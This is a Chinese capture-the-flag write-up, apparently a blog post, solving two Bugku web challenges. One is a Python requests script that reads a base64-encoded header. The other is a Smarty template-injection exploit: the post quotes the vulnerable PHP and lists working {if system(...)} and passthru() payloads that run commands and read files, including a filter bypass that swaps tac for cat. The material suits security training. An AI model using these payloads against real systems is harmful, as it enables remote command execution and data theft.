Bugku解题 web 【四】


介绍:记录解题过程

28.web19(python requests)

</br>我感觉你得快点!!!<!-- OK ,now you have to post the margin what you find -->
  1. 回显
    在这里插入图片描述
  • payload(python)
import requests  # 引入request库
import base64

url = '''http://114.67.246.176:18501/'''
r = requests.session()  # 用session会话保持表达式
headers = r.get(url).headers

mid = base64.b64decode(headers['flag'])
mid = mid.decode()
flag = base64.b64decode(mid.split(':')[1])
data = {
   'margin': flag}
print(r.post(url, data).text)
flag{
   cd9d48a1fc5fc5fdfae185a4d0bb628a}

29.聪明的php(Smarty模板注入)

pass a parameter and maybe the flag file's filename is random :>
http://114.67.246.176:17062/?file=index.php
pass a parameter and maybe the flag file's filename is random :> <?php
include('./libs/Smarty.class.php');
echo "pass a parameter and maybe the flag file's filename is random :>";
$smarty = new Smarty();
if($_GET){
    highlight_file('index.php');
    foreach ($_GET AS $key => $value)
    {
        print $key."\n";
        if(preg_match("/flag|\/flag/i", $value)){
            
            $smarty->display('./template.html');


        }elseif(preg_match("/system|readfile|gz|exec|eval|cat|assert|file|fgets/i", $value)){


            $smarty->display('./template.html');            
            
        }else{
            $smarty->display("eval:".$value);
        }
        
    }
}
?> 

file index.php
  1. 模板Smarty注入题
    在这里插入图片描述
  2. passthru() 任意命令执行
http://114.67.246.176:17062/?file={
   passthru(%27more%20/../?*%27)}

在这里插入图片描述

  1. 方法二
常用payload
{
   if phpinfo()}{
   /if}
{
   if system('ls')}{
   /if}
{
   if readfile('/flag')}{
   /if} 
{
   if show_source('/flag')}{
   /if}
{
   if system('cat ../../../flag')}{
   /if} 
smarty中的{
   if}标签中可以执行php语句
{
   if passthru('ls')}{
   /if}
{
   if passthru('ls -al /')}{
   /if}

在这里插入图片描述
4. cat被过滤了,可以同tac命令查看文件

{
   if passthru('tac /start.sh')}{
   /if}
/usr/bin/tail -f /dev/null	
done
sleep 1000
do
while test "1" = "1"
export T=$RANDOM		# T随机生成数字
FLAG=not_flag
export FLAG=not_flag
chmod 444 /_$T
echo $FLAG > /_$T		# $Flag放入根目录下的_T文件下
T=$RANDOM
export T
  • 2
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值